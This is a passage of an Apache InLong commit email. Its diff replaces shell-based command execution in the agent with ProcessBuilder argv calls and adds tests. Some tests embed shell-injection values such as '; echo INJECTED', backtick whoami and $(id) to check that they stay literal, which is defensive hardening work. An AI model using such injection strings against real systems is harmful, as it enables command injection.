This is an automated email from the ASF dual-hosted git repository.

vernedeng pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/inlong.git


The following commit(s) were added to refs/heads/master by this push:
     new d44be231a6 [INLONG-12148][Agent] Replace /bin/sh -c with 
ProcessBuilder (#12151)
d44be231a6 is described below

commit d44be231a66bf6087232085f9a8f58cfc3389166
Author: spirit_sx <[email protected]>
AuthorDate: Wed Jul 15 17:02:12 2026 +0800

    [INLONG-12148][Agent] Replace /bin/sh -c with ProcessBuilder (#12151)
    
    * [INLONG-12148][Improve] [Agent] Replace /bin/sh -c with ProcessBuilder 
(#12148)
    
    [INLONG-12148][Improve] [Agent] Replace /bin/sh -c with ProcessBuilder 
(#12148)
    
    * [INLONG-12148][Improve] [Agent] fetchLocalUuid fallback (#12148)
    
    * [INLONG-12148][Improve] [Agent] fix ExecuteLinux spell error (#12148)
    
    * [INLONG-12148][Improve] [Agent] use toRealPath for symlink path (#12148)
    
    * [INLONG-12148][Improve] [Agent] add META_CHAR_BLACKLIST (#12148)
    
    * [INLONG-12148][Improve] [Agent] fix change workdir and others validator 
(#12148)
    
    [INLONG-12148][Improve] [Agent] block glob wildcards * ? (#12148)
    
    * [INLONG-12148][Improve] [Agent] add command whitelist in agent (#12148)
    
    * [INLONG-12148][Improve] [Agent] fix ut add properties example doc (#12148)
    
    * [INLONG-12148][Improve] [Agent] add ${home}/tmp dir (#12148)
    
    * [INLONG-12148][Improve] [Agent] fix symlinkBypass scene (#12148)
    
    ---------
    
    Co-authored-by: spiritxishi <[email protected]>
---
 .../org/apache/inlong/agent/utils/AgentUtils.java  |  35 +-
 .../org/apache/inlong/agent/utils/ExcuteLinux.java |  56 ---
 .../apache/inlong/agent/utils/ExecuteLinux.java    | 393 +++++++++++++++
 .../apache/inlong/agent/common/TestAgentUtils.java |  33 +-
 .../inlong/agent/utils/ExecuteLinuxTest.java       | 191 ++++++++
 .../inlong/agent/core/AgentStatusManager.java      |   9 +-
 .../agent-installer/conf/installer.properties      |  27 +-
 .../inlong/agent/installer/ModuleManager.java      | 155 +++++-
 .../installer/validator/AllowedRootsResolver.java  | 260 ++++++++++
 .../validator/CommandWhitelistResolver.java        | 166 +++++++
 .../validator/ModuleCommandValidator.java          | 507 ++++++++++++++++++++
 .../java/installer/AllowedRootsResolverTest.java   | 525 +++++++++++++++++++++
 .../java/installer/ModuleCommandValidatorTest.java | 494 +++++++++++++++++++
 13 files changed, 2770 insertions(+), 81 deletions(-)

diff --git 
a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java
 
b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java
index 01c1567726..533de4c95c 100644
--- 
a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java
+++ 
b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/AgentUtils.java
@@ -37,6 +37,7 @@ import java.text.ParseException;
 import java.text.SimpleDateFormat;
 import java.time.ZonedDateTime;
 import java.time.format.DateTimeFormatter;
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Locale;
 import java.util.Map;
@@ -314,6 +315,9 @@ public class AgentUtils {
         return 
AgentConfiguration.getAgentConf().get(AgentConstants.AGENT_LOCAL_IP, 
getLocalIp());
     }
 
+    private static final String UUID_REGEX =
+            
"^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$";
+
     /**
      * Check agent uuid from manager
      */
@@ -329,15 +333,36 @@ public class AgentUtils {
                 uuid = localUuid;
                 return uuid;
             }
-            String result = ExcuteLinux.exeCmd("dmidecode | grep UUID");
-            if (StringUtils.isNotEmpty(result)
-                    && StringUtils.containsIgnoreCase(result, "UUID")) {
-                uuid = result.split(":")[1].trim();
-                return uuid;
+            String result = ExecuteLinux.exeCmd(new String[]{"dmidecode", 
"-s", "system-uuid"});
+            if (StringUtils.isNotEmpty(result)) {
+                result = result.trim();
+                if (result.matches(UUID_REGEX)) {
+                    return result;
+                }
             }
         } catch (Exception e) {
             LOGGER.error("fetch uuid error", e);
         }
+
+        try {
+            String result = ExecuteLinux.exePipedCmd(
+                    Arrays.asList(
+                            new String[]{"dmidecode"},
+                            new String[]{"grep", "UUID"}),
+                    null, 0);
+            if (StringUtils.isNotEmpty(result) && 
StringUtils.containsIgnoreCase(result, "UUID")) {
+                String[] parts = result.split(":");
+                if (parts.length >= 2) {
+                    String fallbackUuid = parts[1].trim();
+                    if (fallbackUuid.matches(UUID_REGEX)) {
+                        return fallbackUuid;
+                    }
+                }
+            }
+        } catch (Exception e) {
+            LOGGER.warn("dmidecode | grep UUID failed", e);
+        }
+
         return uuid;
     }
 
diff --git 
a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java
 
b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java
deleted file mode 100644
index 8d9c0e23a5..0000000000
--- 
a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExcuteLinux.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements. See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package org.apache.inlong.agent.utils;
-
-import java.io.BufferedReader;
-import java.io.InputStreamReader;
-
-/**
- * ExecuteLinux cmd
- */
-public class ExcuteLinux {
-
-    /**
-     * execute linux cmd
-     *
-     * @param commandStr cmd
-     * @return result of execution
-     */
-    public static String exeCmd(String commandStr) {
-
-        String result = null;
-        try {
-            String[] cmd = new String[]{"/bin/sh", "-c", commandStr};
-            Process ps = Runtime.getRuntime().exec(cmd);
-
-            BufferedReader br = new BufferedReader(new 
InputStreamReader(ps.getInputStream()));
-            StringBuffer sb = new StringBuffer();
-            String line;
-            while ((line = br.readLine()) != null) {
-                sb.append(line).append("\n");
-            }
-            result = sb.toString();
-
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-
-        return result;
-
-    }
-}
\ No newline at end of file
diff --git 
a/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java
 
b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java
new file mode 100644
index 0000000000..e90418bdf8
--- /dev/null
+++ 
b/inlong-agent/agent-common/src/main/java/org/apache/inlong/agent/utils/ExecuteLinux.java
@@ -0,0 +1,393 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.inlong.agent.utils;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Utility for executing local OS commands.
+ *
+ * <p>{@link #exeCmd(String[])}, {@link #exeCmd(List, File, long)} and
+ * {@link #exePipedCmd(List, File, long)} are the recommended argv-array / 
piped entry points.
+ * They use {@link ProcessBuilder} directly and never go through {@code 
/bin/sh -c}, so shell
+ * metacharacters ({@code ;}, {@code |}, {@code &&}, backticks, {@code 
$(...)}) are never
+ * interpreted.</p>
+ *
+ * <p>{@link #exeCmd(String)} is a legacy string-based fallback that runs 
commands through
+ * {@code /bin/sh -c}; it is {@link Deprecated} and must only be used with 
strings already
+ * validated by {@code ModuleCommandValidator}.</p>
+ *
+ * <p>Piping is emulated by chaining several {@link ProcessBuilder} instances 
via background
+ * threads that copy stdout to the next process's stdin, so no shell is 
required.</p>
+ */
+public class ExecuteLinux {
+
+    private static final Logger logger = 
LoggerFactory.getLogger(ExecuteLinux.class);
+
+    /** Default command execution timeout in milliseconds. */
+    public static final long DEFAULT_TIMEOUT_MS = 60_000L;
+
+    /** Maximum number of bytes of stderr kept in log output (truncated beyond 
this). */
+    private static final int STDERR_LOG_MAX_BYTES = 1024;
+
+    private ExecuteLinux() {
+    }
+
+    /**
+     * Execute a command using an argv array (no shell), inheriting the JVM 
working directory
+     * and using {@link #DEFAULT_TIMEOUT_MS} as the timeout.
+     *
+     * @param cmdArgs argv, {@code cmdArgs[0]} is the executable name.
+     * @return stdout of the child process; {@code null} on error or timeout.
+     */
+    public static String exeCmd(String[] cmdArgs) {
+        if (cmdArgs == null || cmdArgs.length == 0) {
+            logger.error("exeCmd(String[]) called with empty cmdArgs");
+            return null;
+        }
+        return exeCmd(Arrays.asList(cmdArgs), null, DEFAULT_TIMEOUT_MS);
+    }
+
+    /**
+     * Execute a command using an argv list (no shell), with an optional 
working directory and
+     * timeout. Every element in {@code cmdArgs} is passed to the child as a 
literal argv
+     * entry; shell metacharacters are never interpreted. If the child does 
not finish within
+     * {@code timeoutMs} it is force-killed via {@link 
Process#destroyForcibly()}.
+     *
+     * @param cmdArgs   argv list, index 0 is the executable name.
+     * @param workDir   working directory of the child; {@code null} means 
inherit.
+     * @param timeoutMs timeout in milliseconds; a value &lt;= 0 means {@link 
#DEFAULT_TIMEOUT_MS}.
+     * @return stdout of the child; {@code null} on non-zero exit, error or 
timeout.
+     */
+    public static String exeCmd(List<String> cmdArgs, File workDir, long 
timeoutMs) {
+        if (cmdArgs == null || cmdArgs.isEmpty()) {
+            logger.error("exeCmd(List) called with empty cmdArgs");
+            return null;
+        }
+        long timeout = timeoutMs > 0 ? timeoutMs : DEFAULT_TIMEOUT_MS;
+        Process ps = null;
+        try {
+            ProcessBuilder pb = new ProcessBuilder(cmdArgs);
+            if (workDir != null) {
+                pb.directory(workDir);
+            }
+            pb.redirectErrorStream(false);
+            long startNs = System.nanoTime();
+            ps = pb.start();
+
+            // Drain stdout/stderr on background threads to prevent the child 
from blocking
+            // when either pipe buffer fills up.
+            StreamGobbler stdoutGobbler = new 
StreamGobbler(ps.getInputStream(), "stdout-" + cmdArgs.get(0));
+            StreamGobbler stderrGobbler = new 
StreamGobbler(ps.getErrorStream(), "stderr-" + cmdArgs.get(0));
+            stdoutGobbler.start();
+            stderrGobbler.start();
+
+            boolean finished = ps.waitFor(timeout, TimeUnit.MILLISECONDS);
+            if (!finished) {
+                ps.destroyForcibly();
+                ps.waitFor(1, TimeUnit.SECONDS);
+                logger.error("exeCmd timeout after {} ms, cmd={}", timeout, 
cmdArgs);
+                stdoutGobbler.join(1000);
+                stderrGobbler.join(1000);
+                closeQuietly(ps);
+                return null;
+            }
+            stdoutGobbler.join(1000);
+            stderrGobbler.join(1000);
+
+            int exitCode = ps.exitValue();
+            long costMs = (System.nanoTime() - startNs) / 1_000_000L;
+            String stdout = stdoutGobbler.getResult();
+            String stderr = stderrGobbler.getResult();
+
+            if (exitCode == 0) {
+                if (logger.isDebugEnabled()) {
+                    logger.debug("exeCmd success cmd={} exit=0 costMs={}", 
cmdArgs, costMs);
+                }
+                return stdout;
+            } else {
+                logger.error("exeCmd non-zero exit cmd={} exitCode={} 
costMs={} stderr={}",
+                        cmdArgs, exitCode, costMs, truncate(stderr, 
STDERR_LOG_MAX_BYTES));
+                return null;
+            }
+        } catch (Exception e) {
+            logger.error("exeCmd error cmd={}", cmdArgs, e);
+            return null;
+        } finally {
+            if (ps != null) {
+                closeQuietly(ps);
+            }
+        }
+    }
+
+    /**
+     * Emulate a shell pipe {@code |} by chaining several {@link 
ProcessBuilder} instances on
+     * the Java side, without going through {@code /bin/sh -c}. Each segment 
is started as its
+     * own child; a background thread copies the stdout of every upstream 
child into the
+     * stdin of the next downstream child; the stdout of the last segment is 
returned.
+     *
+     * @param argvSegments argv of each pipe segment, e.g.
+     *                     {@code [["ps","aux"], ["grep","java"], 
["awk","{print $2}"]]}.
+     * @param workDir      shared working directory for every segment; {@code 
null} inherits.
+     * @param timeoutMs    total timeout for the whole pipeline in 
milliseconds; &lt;= 0 means default.
+     * @return stdout of the last segment; {@code null} on error or timeout.
+     */
+    public static String exePipedCmd(List<String[]> argvSegments, File 
workDir, long timeoutMs) {
+        if (argvSegments == null || argvSegments.isEmpty()) {
+            logger.error("exePipedCmd called with empty argvSegments");
+            return null;
+        }
+        if (argvSegments.size() == 1) {
+            return exeCmd(Arrays.asList(argvSegments.get(0)), workDir, 
timeoutMs);
+        }
+        long timeout = timeoutMs > 0 ? timeoutMs : DEFAULT_TIMEOUT_MS;
+        List<Process> processes = new ArrayList<>(argvSegments.size());
+        List<Thread> pumpers = new ArrayList<>(argvSegments.size() - 1);
+        List<StreamGobbler> stderrGobblers = new 
ArrayList<>(argvSegments.size());
+        StreamGobbler tailStdoutGobbler = null;
+        try {
+            for (int i = 0; i < argvSegments.size(); i++) {
+                String[] argv = argvSegments.get(i);
+                if (argv == null || argv.length == 0) {
+                    logger.error("exePipedCmd segment[{}] is empty", i);
+                    return null;
+                }
+                ProcessBuilder pb = new ProcessBuilder(argv);
+                if (workDir != null) {
+                    pb.directory(workDir);
+                }
+                pb.redirectErrorStream(false);
+                Process p = pb.start();
+                processes.add(p);
+                stderrGobblers.add(new StreamGobbler(p.getErrorStream(), 
"stderr-piped-" + argv[0]));
+                stderrGobblers.get(i).start();
+            }
+            // Chain adjacent segments: upstream stdout -> downstream stdin.
+            for (int i = 0; i < processes.size() - 1; i++) {
+                Process upstream = processes.get(i);
+                Process downstream = processes.get(i + 1);
+                Thread pump = new Thread(new 
StreamPump(upstream.getInputStream(), downstream.getOutputStream()),
+                        "pipe-pump-" + i);
+                pump.setDaemon(true);
+                pump.start();
+                pumpers.add(pump);
+            }
+            Process tail = processes.get(processes.size() - 1);
+            tailStdoutGobbler = new StreamGobbler(tail.getInputStream(), 
"stdout-piped-tail");
+            tailStdoutGobbler.start();
+
+            long deadline = System.currentTimeMillis() + timeout;
+            for (Process p : processes) {
+                long remain = deadline - System.currentTimeMillis();
+                if (remain <= 0) {
+                    logger.error("exePipedCmd timeout, argvSegments={}", 
argvSegmentsToString(argvSegments));
+                    return null;
+                }
+                if (!p.waitFor(remain, TimeUnit.MILLISECONDS)) {
+                    logger.error("exePipedCmd timeout at one segment, 
argvSegments={}",
+                            argvSegmentsToString(argvSegments));
+                    return null;
+                }
+            }
+            for (Thread pump : pumpers) {
+                pump.join(1000);
+            }
+            tailStdoutGobbler.join(1000);
+            for (StreamGobbler g : stderrGobblers) {
+                g.join(1000);
+            }
+
+            int tailExit = tail.exitValue();
+            if (tailExit != 0) {
+                logger.error("exePipedCmd tail non-zero exit={} stderr={}", 
tailExit,
+                        truncate(stderrGobblers.get(stderrGobblers.size() - 
1).getResult(), STDERR_LOG_MAX_BYTES));
+                return null;
+            }
+            return tailStdoutGobbler.getResult();
+        } catch (Exception e) {
+            logger.error("exePipedCmd error argvSegments={}", 
argvSegmentsToString(argvSegments), e);
+            return null;
+        } finally {
+            // Force-kill every child on any error/timeout path so we never 
leak zombies or fds.
+            for (Process p : processes) {
+                try {
+                    if (p != null && p.isAlive()) {
+                        p.destroyForcibly();
+                    }
+                } catch (Exception ignore) {
+                }
+                closeQuietly(p);
+            }
+        }
+    }
+
+    /**
+     * Legacy string-based command entry point that runs the given command 
through
+     * {@code /bin/sh -c}. <b>Vulnerable to shell injection.</b> Kept only as 
a fallback for
+     * strings already validated by {@code ModuleCommandValidator}. New 
business code must
+     * use {@link #exeCmd(String[])} or {@link #exePipedCmd(List, File, long)} 
instead.
+     *
+     * @param commandStr a command string that has already been validated.
+     * @return stdout of the child process; {@code null} on error.
+     * @deprecated use {@link #exeCmd(String[])} or {@link #exePipedCmd(List, 
File, long)}.
+     */
+    @Deprecated
+    public static String exeCmd(String commandStr) {
+        String result = null;
+        try {
+            String[] cmd = new String[]{"/bin/sh", "-c", commandStr};
+            Process ps = Runtime.getRuntime().exec(cmd);
+
+            BufferedReader br = new BufferedReader(new 
InputStreamReader(ps.getInputStream(),
+                    StandardCharsets.UTF_8));
+            StringBuilder sb = new StringBuilder();
+            String line;
+            while ((line = br.readLine()) != null) {
+                sb.append(line).append("\n");
+            }
+            result = sb.toString();
+
+        } catch (Exception e) {
+            logger.error("execute linux cmd error: ", e);
+        }
+
+        return result;
+    }
+
+    // 
-------------------------------------------------------------------------
+    // internal helpers
+    // 
-------------------------------------------------------------------------
+
+    private static void closeQuietly(Process ps) {
+        if (ps == null) {
+            return;
+        }
+        closeQuietly(ps.getInputStream());
+        closeQuietly(ps.getErrorStream());
+        closeQuietly(ps.getOutputStream());
+    }
+
+    private static void closeQuietly(java.io.Closeable c) {
+        if (c == null) {
+            return;
+        }
+        try {
+            c.close();
+        } catch (IOException ignore) {
+        }
+    }
+
+    private static String truncate(String s, int maxBytes) {
+        if (s == null) {
+            return "";
+        }
+        byte[] bytes = s.getBytes(StandardCharsets.UTF_8);
+        if (bytes.length <= maxBytes) {
+            return s;
+        }
+        return new String(bytes, 0, maxBytes, StandardCharsets.UTF_8) + 
"...(truncated)";
+    }
+
+    private static String argvSegmentsToString(List<String[]> segs) {
+        List<List<String>> readable = new ArrayList<>(segs.size());
+        for (String[] seg : segs) {
+            readable.add(seg == null ? Collections.<String>emptyList() : 
Arrays.asList(seg));
+        }
+        return readable.toString();
+    }
+
+    /** Daemon thread that fully drains an {@link InputStream} into memory. */
+    private static final class StreamGobbler extends Thread {
+
+        private final InputStream in;
+        private final AtomicReference<String> resultRef = new 
AtomicReference<>("");
+
+        StreamGobbler(InputStream in, String threadName) {
+            super(threadName);
+            this.in = in;
+            setDaemon(true);
+        }
+
+        @Override
+        public void run() {
+            ByteArrayOutputStream baos = new ByteArrayOutputStream();
+            byte[] buf = new byte[4096];
+            int n;
+            try {
+                while ((n = in.read(buf)) != -1) {
+                    baos.write(buf, 0, n);
+                }
+                resultRef.set(new String(baos.toByteArray(), 
StandardCharsets.UTF_8));
+            } catch (IOException e) {
+                // Reading may throw once the child has been destroyed; treat 
as end of stream.
+                resultRef.set(new String(baos.toByteArray(), 
StandardCharsets.UTF_8));
+            } finally {
+                closeQuietly(in);
+            }
+        }
+
+        String getResult() {
+            return resultRef.get();
+        }
+    }
+
+    /** Daemon thread that copies stdout of an upstream process into stdin of 
a downstream one. */
+    private static final class StreamPump implements Runnable {
+
+        private final InputStream in;
+        private final OutputStream out;
+
+        StreamPump(InputStream in, OutputStream out) {
+            this.in = in;
+            this.out = out;
+        }
+
+        @Override
+        public void run() {
+            byte[] buf = new byte[4096];
+            int n;
+            try {
+                while ((n = in.read(buf)) != -1) {
+                    out.write(buf, 0, n);
+                }
+                out.flush();
+            } catch (IOException ignore) {
+                // Downstream process may have exited; treat as end of pipe.
+            } finally {
+                closeQuietly(in);
+                closeQuietly(out);
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git 
a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java
 
b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java
index 2987ca88fe..ece3c023e8 100755
--- 
a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java
+++ 
b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/common/TestAgentUtils.java
@@ -98,4 +98,35 @@ public class TestAgentUtils {
         String ip = AgentUtils.fetchLocalIp();
         Assert.assertNotEquals("127.0.0.1", ip);
     }
-}
+
+    @Test
+    public void testUuidRegex() throws Exception {
+        java.lang.reflect.Field field = 
AgentUtils.class.getDeclaredField("UUID_REGEX");
+        field.setAccessible(true);
+        String regex = (String) field.get(null);
+
+        // valid standard UUIDs (mixed case)
+        Assert.assertTrue("standard lowercase should match",
+                java.util.regex.Pattern.matches(regex, 
"25a76f3a-f83c-49af-8bd8-f921d1887dcf"));
+        Assert.assertTrue("standard uppercase should match",
+                java.util.regex.Pattern.matches(regex, 
"550E8400-E29B-41D4-A716-446655440000"));
+        Assert.assertTrue("mixed case should match",
+                java.util.regex.Pattern.matches(regex, 
"550e8400-E29b-41d4-a716-446655440000"));
+
+        // invalid cases
+        Assert.assertFalse("empty string should not match",
+                java.util.regex.Pattern.matches(regex, ""));
+        Assert.assertFalse("plain string should not match",
+                java.util.regex.Pattern.matches(regex, "not-a-uuid"));
+        Assert.assertFalse("too short should not match",
+                java.util.regex.Pattern.matches(regex, 
"550e8400-e29b-41d4-a716-44665544"));
+        Assert.assertFalse("missing hyphens should not match",
+                java.util.regex.Pattern.matches(regex, 
"550e8400e29b41d4a716446655440000"));
+        Assert.assertFalse("extra segment should not match",
+                java.util.regex.Pattern.matches(regex, 
"25a76f3a-f83c-49af-8bd8-f921d1887dcf-extra"));
+        Assert.assertFalse("non-hex chars should not match",
+                java.util.regex.Pattern.matches(regex, 
"550e8g00-e29b-41d4-a716-446655440000"));
+        Assert.assertFalse("newline prefix should not match",
+                java.util.regex.Pattern.matches(regex, 
"\n550e8400-e29b-41d4-a716-446655440000"));
+    }
+}
\ No newline at end of file
diff --git 
a/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java
 
b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java
new file mode 100644
index 0000000000..a177000e6e
--- /dev/null
+++ 
b/inlong-agent/agent-common/src/test/java/org/apache/inlong/agent/utils/ExecuteLinuxTest.java
@@ -0,0 +1,191 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.inlong.agent.utils;
+
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/* Unit tests for {@link ExecuteLinux}, focused on exePipedCmd. Requires 
Unix-like OS. */
+public class ExecuteLinuxTest {
+
+    @BeforeClass
+    public static void assumeUnix() {
+        String os = System.getProperty("os.name").toLowerCase();
+        Assume.assumeFalse("skip on Windows", os.contains("win"));
+    }
+
+    /* ---------------- exePipedCmd: normal cases ---------------- */
+
+    @Test
+    public void pipedCmd_twoSegments_shouldStreamStdoutIntoNextStdin() {
+        List<String[]> segments = Arrays.asList(
+                new String[]{"printf", "a\nb\nc\n"},
+                new String[]{"grep", "b"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 
ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull(out);
+        Assert.assertTrue("should contain matched line, got=" + out, 
out.contains("b"));
+        Assert.assertFalse("should not contain unmatched, got=" + out, 
out.contains("a"));
+    }
+
+    @Test
+    public void pipedCmd_threeSegments_shouldChainCorrectly() {
+        List<String[]> segments = Arrays.asList(
+                new String[]{"printf", "apple\nbanana\napricot\n"},
+                new String[]{"grep", "ap"},
+                new String[]{"wc", "-l"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 
ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull(out);
+        Assert.assertEquals("2", out.trim());
+    }
+
+    @Test
+    public void pipedCmd_largeOutput_shouldNotDeadlockNorTruncate() {
+        /* yes + head + wc: verifies pipe buffer never deadlocks with large 
stream */
+        List<String[]> segments = Arrays.asList(
+                new String[]{"yes", "x"},
+                new String[]{"head", "-n", "2000"},
+                new String[]{"wc", "-l"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 
ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull(out);
+        Assert.assertEquals("2000", out.trim());
+    }
+
+    @Test
+    public void pipedCmd_singleSegment_shouldFallbackToPlainExec() {
+        String out = ExecuteLinux.exePipedCmd(
+                Collections.singletonList(new String[]{"echo", "single"}),
+                null, ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull(out);
+        Assert.assertTrue(out.contains("single"));
+    }
+
+    /* ---------------- exePipedCmd: error / edge cases ---------------- */
+
+    @Test
+    public void pipedCmd_emptyOrNullSegments_shouldReturnNull() {
+        
Assert.assertNull(ExecuteLinux.exePipedCmd(Collections.<String[]>emptyList(), 
null, 1000L));
+        Assert.assertNull(ExecuteLinux.exePipedCmd(null, null, 1000L));
+    }
+
+    @Test
+    public void pipedCmd_segmentWithEmptyArgv_shouldReturnNull() {
+        List<String[]> segments = Arrays.asList(
+                new String[]{"echo", "hello"},
+                new String[0]);
+        Assert.assertNull(ExecuteLinux.exePipedCmd(segments, null, 5000L));
+    }
+
+    @Test
+    public void pipedCmd_tailNonZeroExit_shouldReturnNull() {
+        /* grep with no match exits 1 -> tail exit non-zero -> null */
+        List<String[]> segments = Arrays.asList(
+                new String[]{"echo", "hello"},
+                new String[]{"grep", "nonexistent"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 5000L);
+        Assert.assertNull("tail non-zero exit must return null", out);
+    }
+
+    @Test
+    public void pipedCmd_timeout_shouldReturnNullAndNotHang() {
+        List<String[]> segments = Arrays.asList(
+                new String[]{"sleep", "30"},
+                new String[]{"cat"});
+        long begin = System.currentTimeMillis();
+        String out = ExecuteLinux.exePipedCmd(segments, null, 500L);
+        long cost = System.currentTimeMillis() - begin;
+        Assert.assertNull("timeout should return null", out);
+        Assert.assertTrue("should finish < 3s, actual=" + cost + "ms", cost < 
3000L);
+    }
+
+    /* ---------------- exePipedCmd: security — metachars stay literal (no 
shell) ---------------- */
+
+    @Test
+    public void pipedCmd_semicolonInGrepPattern_shouldStayLiteralRegex() {
+        List<String[]> segments = Arrays.asList(
+                new String[]{"printf", "prefix-AgentMain; echo 
INJECTED-suffix\nother\n"},
+                new String[]{"grep", "AgentMain; echo INJECTED"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 
ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull("grep must match literal pattern (exit 0)", out);
+        Assert.assertTrue("output must contain matched line", 
out.contains("AgentMain; echo INJECTED"));
+        Assert.assertFalse("unmatched lines must be absent", 
out.contains("other"));
+    }
+
+    @Test
+    public void pipedCmd_backtickInGrepPattern_shouldStayLiteral() {
+        List<String[]> segments = Arrays.asList(
+                new String[]{"printf", "marker-`whoami`-suffix\n"},
+                new String[]{"grep", "`whoami`"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 
ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull(out);
+        Assert.assertTrue(out.contains("`whoami`"));
+    }
+
+    @Test
+    public void pipedCmd_dollarParenInGrepPattern_shouldStayLiteral() {
+        List<String[]> segments = Arrays.asList(
+                new String[]{"printf", "prefix-$(id)-suffix\n"},
+                new String[]{"grep", "$(id)"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 
ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull(out);
+        Assert.assertTrue(out.contains("$(id)"));
+    }
+
+    @Test
+    public void pipedCmd_doubleAmpersandInGrepPattern_shouldStayLiteral() {
+        List<String[]> segments = Arrays.asList(
+                new String[]{"printf", "marker-&&-suffix\n"},
+                new String[]{"grep", "&&"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 
ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull(out);
+        Assert.assertTrue(out.contains("&&"));
+    }
+
+    @Test
+    public void pipedCmd_pipeCharInGrepPattern_shouldBeRegexAlternation() {
+        /* "|" inside pattern acts as regex alternation, not a new pipe 
segment */
+        List<String[]> segments = Arrays.asList(
+                new String[]{"printf", "foo\nbar\nbaz\n"},
+                new String[]{"grep", "-E", "foo|bar"});
+        String out = ExecuteLinux.exePipedCmd(segments, null, 
ExecuteLinux.DEFAULT_TIMEOUT_MS);
+        Assert.assertNotNull(out);
+        Assert.assertTrue(out.contains("foo"));
+        Assert.assertTrue(out.contains("bar"));
+        Assert.assertFalse(out.contains("baz"));
+    }
+
+    /* ---------------- exeCmd(String[]): minimal sanity (non-deprecated) 
---------------- */
+
+    @Test
+    public void arrayCmd_echo_shouldReturnStdout() {
+        String out = ExecuteLinux.exeCmd(new String[]{"echo", "hello-world"});
+        Assert.assertNotNull(out);
+        Assert.assertTrue(out.contains("hello-world"));
+    }
+
+    @Test
+    public void arrayCmd_emptyArgs_shouldReturnNull() {
+        Assert.assertNull(ExecuteLinux.exeCmd((String[]) null));
